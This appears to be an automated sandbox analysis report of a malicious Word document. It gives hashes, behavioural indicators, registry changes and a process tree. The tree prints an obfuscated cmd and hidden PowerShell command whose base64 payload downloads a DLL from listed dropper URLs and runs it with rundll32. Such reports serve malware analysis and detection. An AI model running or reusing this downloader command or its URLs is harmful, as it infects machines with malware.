9c79e7b9f68462cc7dc5a5e149b64d277c92a2edb2c6f85eac8c78286172c209

General

Target

Liste-70497 462123797.doc
Size

158KB
MD5

e6fa06f6b8a4fc18b58ab391ef19cba9
SHA1

79e39537c6deeb162756e2dfe7a3f77c0f96d1e2
SHA256

9c79e7b9f68462cc7dc5a5e149b64d277c92a2edb2c6f85eac8c78286172c209
SHA512

759bc77a2595af11f910e4addb9d06492110a1af062c2dc98648e929a79fe0eccf911418026697d67bfe0428c5b8a965a98d3d1247d80d2ac2f40b695e185cd7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://smkbudiagung.com/wp-content/VoPg04/

exe.dropper

https://ats-tx.com/old/f1X/

exe.dropper

http://avanttipisos.com.br/catalogo-virtual/U/

exe.dropper

http://mpeakecreations.co.za/cgi-bin/vVk1rw/

exe.dropper

http://adres-ug.ru/wp-admin/IItD/

exe.dropper

https://theraven.pk/overwolf-r6-vdace/UH4fL/

exe.dropper

http://bhar.com.br/elementos/MQfB/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1100 1764 cmd.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

7 1928 powershell.exe
9 1928 powershell.exe
11 1928 powershell.exe
13 1720 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1320 rundll32.exe
1320 rundll32.exe
1320 rundll32.exe
1320 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1100	1764	cmd.exe

flow	pid	process
7	1928	powershell.exe
9	1928	powershell.exe
11	1928	powershell.exe
13	1720	rundll32.exe

pid	process
1320	rundll32.exe
1320	rundll32.exe
1320	rundll32.exe
1320	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Blulemdftrivadr\zrochshyykqwer.jmc	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2024 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

1928 powershell.exe
1928 powershell.exe
1720 rundll32.exe
1720 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1928 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2024 WINWORD.EXE
2024 WINWORD.EXE

pid	process
2024	WINWORD.EXE

pid	process
1928	powershell.exe
1928	powershell.exe
1720	rundll32.exe
1720	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1928	powershell.exe

pid	process
2024	WINWORD.EXE
2024	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1100 wrote to memory of 1660	1100	cmd.exe	msg.exe
PID 1100 wrote to memory of 1660	1100	cmd.exe	msg.exe
PID 1100 wrote to memory of 1660	1100	cmd.exe	msg.exe
PID 1100 wrote to memory of 1928	1100	cmd.exe	powershell.exe
PID 1100 wrote to memory of 1928	1100	cmd.exe	powershell.exe
PID 1100 wrote to memory of 1928	1100	cmd.exe	powershell.exe
PID 1928 wrote to memory of 1544	1928	powershell.exe	rundll32.exe
PID 1928 wrote to memory of 1544	1928	powershell.exe	rundll32.exe
PID 1928 wrote to memory of 1544	1928	powershell.exe	rundll32.exe
PID 1544 wrote to memory of 1320	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1320	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1320	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1320	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1320	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1320	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1320	1544	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1720	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1720	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1720	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1720	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1720	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1720	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1720	1320	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Liste-70497 462123797.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2024

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBlAHQAIAAoACcAVgA4AEUAJwArACcARwA1AEgAJwApACAAKABbAHQAWQBwAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAE0ALgBpAE8ALgBkAGkAUgBFAEMAdABvACcALAAnAHkAcwAnACwAJwBZACcALAAnAFQAZQAnACwAJwByACcALAAnAFMAJwApACAAIAApACAAIAA7AHMARQBUAC0AaQB0AEUAbQAgACgAIgBWAGEAIgArACIAcgBJAGEAYgBsACIAKwAiAGUAIgArACIAOgB5AGYAVwA1AGoATQAiACkAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADQAfQB7ADcAfQB7ADMAfQB7ADAAfQB7ADIAfQB7ADYAfQAiACAALQBGACAAJwBOACcALAAnAHMAeQAnACwAJwB0AG0AYQAnACwAJwBQAG8ASQAnACwAJwBFAE0ALgBOAGUAdAAuAFMARQByACcALAAnAFMAdAAnACwAJwBOAEEARwBFAFIAJwAsACcAdgBpAGMARQAnACkAIAAgACkAOwAgACQARgBmADcAYQBvAGkAeAA9ACQASgAxADgARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAWAA5ADUATQA7ACQAVAAxADAAUQA9ACgAJwBEADcAJwArACcAXwBUACcAKQA7ACAAIAAoACAAIABJAHQARQBtACAAIAAoACIAVgBBAHIASQAiACsAIgBhACIAKwAiAGIATABFADoAIgArACIAVgA4AEUAZwA1AEgAIgApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBjAHIARQBgAEEAYABUAGUARABpAFIAZQBjAHQAYABPAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQB1ACcAKwAnAEEATwAxAHIAJwArACcAeABsADkAJwApACsAKAAnAHQAJwArACcAbQB1AEEASwAnACsAJwAyACcAKQArACcAaQBqACcAKwAnAGkAJwArACgAJwB0AGwAJwArACcAbQAnACkAKwAnAHUAQQAnACkALgAiAFIAZQBwAGAAbABhAEMAZQAiACgAKAAnAG0AJwArACcAdQBBACcAKQAsACcAXAAnACkAKQApADsAJABCADkAOQBHAD0AKAAoACcAQgBfACcAKwAnADkAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAQQByAEkAQQBiAGwARQAgACAAKAAiAFkARgBXADUASgAiACsAIgBNACIAKQApAC4AVgBBAEwAdQBlADoAOgAiAHMARQBgAEMAYABVAFIAaQB0AFkAcABgAFIATwBgAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAVQA4ADAASAA9ACgAKAAnAEgAJwArACcANgA1ACcAKQArACcAWgAnACkAOwAkAEYAdAAxAG4AcgBoAGIAIAA9ACAAKAAnAFkAMQAnACsAJwAyAFMAJwApADsAJABNADkAOQBDAD0AKAAoACcAUgAnACsAJwA0ADkAJwApACsAJwBFACcAKQA7ACQASgBpADMAbAA1AHUAcgA9ACQASABPAE0ARQArACgAKAAnAGEAdQAnACsAKAAnADQAJwArACcATwAxACcAKQArACcAcgAnACsAJwB4AGwAJwArACgAJwA5ACcAKwAnAHQAYQB1ADQAJwArACcASwAyAGkAJwApACsAKAAnAGoAJwArACcAaQB0ACcAKQArACgAJwBsAGEAdQAnACsAJwA0ACcAKQApAC4AIgBSAEUAYABwAGAATABhAEMARQAiACgAKAAnAGEAJwArACcAdQA0ACcAKQAsACcAXAAnACkAKQArACQARgB0ADEAbgByAGgAYgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE8ANAA1AEUAPQAoACcAWQAnACsAKAAnADEAJwArACcANgBTACcAKQApADsAJABEADYAZgA4ADEAdgBqAD0AKAAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwBzACcAKwAoACcAOgAvAC8AJwArACcAcwAnACsAJwBtAGsAYgAnACsAJwB1AGQAaQBhAGcAdQBuAGcAJwArACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8AVgAnACsAJwBvACcAKQArACcAUABnACcAKwAoACcAMAA0ACcAKwAnAC8AJwApACsAKAAnAEAAJwArACcAQQBdACcAKQArACcAWwAnACsAKAAnAHEAJwArACcAWwBEAHMAJwApACsAKAAnADoALwAnACsAJwAvAGEAdABzAC0AdAAnACsAJwB4ACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AbwBsACcAKwAnAGQALwAnACkAKwAoACcAZgAxAFgALwAnACsAJwBAACcAKQArACgAJwBBAF0AWwBxAFsAJwArACcARAA6AC8ALwAnACsAJwBhACcAKQArACgAJwB2AGEAJwArACcAbgB0AHQAaQBwACcAKwAnAGkAcwBvACcAKQArACgAJwBzAC4AYwBvAG0ALgBiACcAKwAnAHIAJwArACcALwBjAGEAdABhAGwAJwArACcAbwBnAG8ALQAnACkAKwAoACcAdgAnACsAJwBpAHIAdAAnACkAKwAoACcAdQBhACcAKwAnAGwALwBVAC8AQABBAF0AJwArACcAWwBxAFsAJwArACcARAA6AC8AJwApACsAJwAvACcAKwAnAG0AJwArACgAJwBwAGUAYQBrACcAKwAnAGUAYwByAGUAJwApACsAJwBhACcAKwAoACcAdABpACcAKwAnAG8AbgBzACcAKwAnAC4AYwBvACcAKQArACcALgAnACsAKAAnAHoAYQAvACcAKwAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwApACsAKAAnAC8AdgBWAGsAMQAnACsAJwByAHcALwBAACcAKwAnAEEAXQAnACkAKwAoACcAWwBxACcAKwAnAFsARAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGEAJwArACcAZAByAGUAcwAtAHUAZwAuAHIAdQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwAnACkAKwAoACcASQAnACsAJwBJACcAKwAnAHQARAAvAEAAJwArACcAQQAnACsAJwBdAFsAcQBbAEQAcwAnACkAKwAnADoALwAnACsAJwAvAHQAJwArACgAJwBoACcAKwAnAGUAcgAnACkAKwAnAGEAJwArACgAJwB2AGUAbgAuAHAAJwArACcAawAvACcAKQArACgAJwBvAHYAZQAnACsAJwByAHcAbwAnACsAJwBsACcAKQArACgAJwBmAC0AcgA2ACcAKwAnAC0AdgBkAGEAJwArACcAYwBlACcAKQArACgAJwAvAFUASAA0AGYAJwArACcATAAnACsAJwAvAEAAJwApACsAKAAnAEEAXQAnACsAJwBbAHEAWwBEACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBiAGgAJwApACsAKAAnAGEAcgAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAuAGIAcgAnACsAJwAvAGUAbAAnACsAJwBlAG0AJwApACsAKAAnAGUAbgB0ACcAKwAnAG8AJwArACcAcwAvAE0AUQAnACkAKwAoACcAZgBCACcAKwAnAC8AJwApACkALgAiAFIAZQBwAGwAYABBAGAAQwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkACcAKwAoACcAcwBlAHcAJwArACcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAcABMAGAAaQBUACIAKAAkAEIAMgA3AEEAIAArACAAJABGAGYANwBhAG8AaQB4ACAAKwAgACQAUAAyAF8AQwApADsAJABBADgAMQBCAD0AKAAnAEgAMgAnACsAJwA3AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHQAeAAwAGcAMgB4ACAAaQBuACAAJABEADYAZgA4ADEAdgBqACkAewB0AHIAeQB7ACgALgAoACcATgAnACsAJwBlACcAKwAnAHcALQBPAGIAagBlAGMAdAAnACkAIABTAHkAUwB0AEUATQAuAE4ARQB0AC4AdwBFAEIAYwBsAEkAZQBuAFQAKQAuACIARABPAGAAdwBOAEwATwBhAGQARgBgAEkAYABsAEUAIgAoACQAUQB0AHgAMABnADIAeAAsACAAJABKAGkAMwBsADUAdQByACkAOwAkAEwAXwA4AFQAPQAoACgAJwBZADEAJwArACcANAAnACkAKwAnAEUAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAaQAzAGwANQB1AHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADQAMwA4ADUAOAApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABKAGkAMwBsADUAdQByACwAKAAnAFMAJwArACgAJwBoAG8AdwAnACsAJwBEACcAKQArACgAJwBpACcAKwAnAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAFQATwBzAGAAVAByAEkAYABOAGcAIgAoACkAOwAkAFAANQAwAEUAPQAoACgAJwBGACcAKwAnADkAOQAnACkAKwAnAE4AJwApADsAYgByAGUAYQBrADsAJABLADgAMQBNAD0AKAAoACcASQA1ACcAKwAnADgAJwApACsAJwBOACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwA3ADcASwA9ACgAJwBOADkAJwArACcAXwBLACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc UwBlAHQAIAAoACcAVgA4AEUAJwArACcARwA1AEgAJwApACAAKABbAHQAWQBwAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAE0ALgBpAE8ALgBkAGkAUgBFAEMAdABvACcALAAnAHkAcwAnACwAJwBZACcALAAnAFQAZQAnACwAJwByACcALAAnAFMAJwApACAAIAApACAAIAA7AHMARQBUAC0AaQB0AEUAbQAgACgAIgBWAGEAIgArACIAcgBJAGEAYgBsACIAKwAiAGUAIgArACIAOgB5AGYAVwA1AGoATQAiACkAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADQAfQB7ADcAfQB7ADMAfQB7ADAAfQB7ADIAfQB7ADYAfQAiACAALQBGACAAJwBOACcALAAnAHMAeQAnACwAJwB0AG0AYQAnACwAJwBQAG8ASQAnACwAJwBFAE0ALgBOAGUAdAAuAFMARQByACcALAAnAFMAdAAnACwAJwBOAEEARwBFAFIAJwAsACcAdgBpAGMARQAnACkAIAAgACkAOwAgACQARgBmADcAYQBvAGkAeAA9ACQASgAxADgARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAWAA5ADUATQA7ACQAVAAxADAAUQA9ACgAJwBEADcAJwArACcAXwBUACcAKQA7ACAAIAAoACAAIABJAHQARQBtACAAIAAoACIAVgBBAHIASQAiACsAIgBhACIAKwAiAGIATABFADoAIgArACIAVgA4AEUAZwA1AEgAIgApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBjAHIARQBgAEEAYABUAGUARABpAFIAZQBjAHQAYABPAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQB1ACcAKwAnAEEATwAxAHIAJwArACcAeABsADkAJwApACsAKAAnAHQAJwArACcAbQB1AEEASwAnACsAJwAyACcAKQArACcAaQBqACcAKwAnAGkAJwArACgAJwB0AGwAJwArACcAbQAnACkAKwAnAHUAQQAnACkALgAiAFIAZQBwAGAAbABhAEMAZQAiACgAKAAnAG0AJwArACcAdQBBACcAKQAsACcAXAAnACkAKQApADsAJABCADkAOQBHAD0AKAAoACcAQgBfACcAKwAnADkAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAQQByAEkAQQBiAGwARQAgACAAKAAiAFkARgBXADUASgAiACsAIgBNACIAKQApAC4AVgBBAEwAdQBlADoAOgAiAHMARQBgAEMAYABVAFIAaQB0AFkAcABgAFIATwBgAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAVQA4ADAASAA9ACgAKAAnAEgAJwArACcANgA1ACcAKQArACcAWgAnACkAOwAkAEYAdAAxAG4AcgBoAGIAIAA9ACAAKAAnAFkAMQAnACsAJwAyAFMAJwApADsAJABNADkAOQBDAD0AKAAoACcAUgAnACsAJwA0ADkAJwApACsAJwBFACcAKQA7ACQASgBpADMAbAA1AHUAcgA9ACQASABPAE0ARQArACgAKAAnAGEAdQAnACsAKAAnADQAJwArACcATwAxACcAKQArACcAcgAnACsAJwB4AGwAJwArACgAJwA5ACcAKwAnAHQAYQB1ADQAJwArACcASwAyAGkAJwApACsAKAAnAGoAJwArACcAaQB0ACcAKQArACgAJwBsAGEAdQAnACsAJwA0ACcAKQApAC4AIgBSAEUAYABwAGAATABhAEMARQAiACgAKAAnAGEAJwArACcAdQA0ACcAKQAsACcAXAAnACkAKQArACQARgB0ADEAbgByAGgAYgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE8ANAA1AEUAPQAoACcAWQAnACsAKAAnADEAJwArACcANgBTACcAKQApADsAJABEADYAZgA4ADEAdgBqAD0AKAAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwBzACcAKwAoACcAOgAvAC8AJwArACcAcwAnACsAJwBtAGsAYgAnACsAJwB1AGQAaQBhAGcAdQBuAGcAJwArACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8AVgAnACsAJwBvACcAKQArACcAUABnACcAKwAoACcAMAA0ACcAKwAnAC8AJwApACsAKAAnAEAAJwArACcAQQBdACcAKQArACcAWwAnACsAKAAnAHEAJwArACcAWwBEAHMAJwApACsAKAAnADoALwAnACsAJwAvAGEAdABzAC0AdAAnACsAJwB4ACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AbwBsACcAKwAnAGQALwAnACkAKwAoACcAZgAxAFgALwAnACsAJwBAACcAKQArACgAJwBBAF0AWwBxAFsAJwArACcARAA6AC8ALwAnACsAJwBhACcAKQArACgAJwB2AGEAJwArACcAbgB0AHQAaQBwACcAKwAnAGkAcwBvACcAKQArACgAJwBzAC4AYwBvAG0ALgBiACcAKwAnAHIAJwArACcALwBjAGEAdABhAGwAJwArACcAbwBnAG8ALQAnACkAKwAoACcAdgAnACsAJwBpAHIAdAAnACkAKwAoACcAdQBhACcAKwAnAGwALwBVAC8AQABBAF0AJwArACcAWwBxAFsAJwArACcARAA6AC8AJwApACsAJwAvACcAKwAnAG0AJwArACgAJwBwAGUAYQBrACcAKwAnAGUAYwByAGUAJwApACsAJwBhACcAKwAoACcAdABpACcAKwAnAG8AbgBzACcAKwAnAC4AYwBvACcAKQArACcALgAnACsAKAAnAHoAYQAvACcAKwAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwApACsAKAAnAC8AdgBWAGsAMQAnACsAJwByAHcALwBAACcAKwAnAEEAXQAnACkAKwAoACcAWwBxACcAKwAnAFsARAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGEAJwArACcAZAByAGUAcwAtAHUAZwAuAHIAdQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwAnACkAKwAoACcASQAnACsAJwBJACcAKwAnAHQARAAvAEAAJwArACcAQQAnACsAJwBdAFsAcQBbAEQAcwAnACkAKwAnADoALwAnACsAJwAvAHQAJwArACgAJwBoACcAKwAnAGUAcgAnACkAKwAnAGEAJwArACgAJwB2AGUAbgAuAHAAJwArACcAawAvACcAKQArACgAJwBvAHYAZQAnACsAJwByAHcAbwAnACsAJwBsACcAKQArACgAJwBmAC0AcgA2ACcAKwAnAC0AdgBkAGEAJwArACcAYwBlACcAKQArACgAJwAvAFUASAA0AGYAJwArACcATAAnACsAJwAvAEAAJwApACsAKAAnAEEAXQAnACsAJwBbAHEAWwBEACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBiAGgAJwApACsAKAAnAGEAcgAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAuAGIAcgAnACsAJwAvAGUAbAAnACsAJwBlAG0AJwApACsAKAAnAGUAbgB0ACcAKwAnAG8AJwArACcAcwAvAE0AUQAnACkAKwAoACcAZgBCACcAKwAnAC8AJwApACkALgAiAFIAZQBwAGwAYABBAGAAQwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkACcAKwAoACcAcwBlAHcAJwArACcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAcABMAGAAaQBUACIAKAAkAEIAMgA3AEEAIAArACAAJABGAGYANwBhAG8AaQB4ACAAKwAgACQAUAAyAF8AQwApADsAJABBADgAMQBCAD0AKAAnAEgAMgAnACsAJwA3AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHQAeAAwAGcAMgB4ACAAaQBuACAAJABEADYAZgA4ADEAdgBqACkAewB0AHIAeQB7ACgALgAoACcATgAnACsAJwBlACcAKwAnAHcALQBPAGIAagBlAGMAdAAnACkAIABTAHkAUwB0AEUATQAuAE4ARQB0AC4AdwBFAEIAYwBsAEkAZQBuAFQAKQAuACIARABPAGAAdwBOAEwATwBhAGQARgBgAEkAYABsAEUAIgAoACQAUQB0AHgAMABnADIAeAAsACAAJABKAGkAMwBsADUAdQByACkAOwAkAEwAXwA4AFQAPQAoACgAJwBZADEAJwArACcANAAnACkAKwAnAEUAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAaQAzAGwANQB1AHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADQAMwA4ADUAOAApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABKAGkAMwBsADUAdQByACwAKAAnAFMAJwArACgAJwBoAG8AdwAnACsAJwBEACcAKQArACgAJwBpACcAKwAnAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAFQATwBzAGAAVAByAEkAYABOAGcAIgAoACkAOwAkAFAANQAwAEUAPQAoACgAJwBGACcAKwAnADkAOQAnACkAKwAnAE4AJwApADsAYgByAGUAYQBrADsAJABLADgAMQBNAD0AKAAoACcASQA1ACcAKwAnADgAJwApACsAJwBOACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwA3ADcASwA9ACgAJwBOADkAJwArACcAXwBLACcAKQA=
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1320

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Blulemdftrivadr\zrochshyykqwer.jmc",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1720

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll
MD5
16ae52974624b6f80f7cfd5a28ba3701

SHA1
f83581eb4d739bc469bf1f229718136c0273d965

SHA256
7fe9e131fb6d779213d606bda582b98d0e5d10cf5e66e1517a0eb82411df8d1c

SHA512
df6aa2d06e8991791d885d02f3a17a8b690f56b8797737118877c313d11fcc170f8628e8bd30829a637ac16ac6486ba75ca8460d2030cd76538f731c729e637c

Download Submit
\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll
MD5
16ae52974624b6f80f7cfd5a28ba3701

SHA1
f83581eb4d739bc469bf1f229718136c0273d965

SHA256
7fe9e131fb6d779213d606bda582b98d0e5d10cf5e66e1517a0eb82411df8d1c

SHA512
df6aa2d06e8991791d885d02f3a17a8b690f56b8797737118877c313d11fcc170f8628e8bd30829a637ac16ac6486ba75ca8460d2030cd76538f731c729e637c

Download Submit
\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll
MD5
16ae52974624b6f80f7cfd5a28ba3701

SHA1
f83581eb4d739bc469bf1f229718136c0273d965

SHA256
7fe9e131fb6d779213d606bda582b98d0e5d10cf5e66e1517a0eb82411df8d1c

SHA512
df6aa2d06e8991791d885d02f3a17a8b690f56b8797737118877c313d11fcc170f8628e8bd30829a637ac16ac6486ba75ca8460d2030cd76538f731c729e637c

Download Submit
\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll
MD5
16ae52974624b6f80f7cfd5a28ba3701

SHA1
f83581eb4d739bc469bf1f229718136c0273d965

SHA256
7fe9e131fb6d779213d606bda582b98d0e5d10cf5e66e1517a0eb82411df8d1c

SHA512
df6aa2d06e8991791d885d02f3a17a8b690f56b8797737118877c313d11fcc170f8628e8bd30829a637ac16ac6486ba75ca8460d2030cd76538f731c729e637c

Download Submit
\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll
MD5
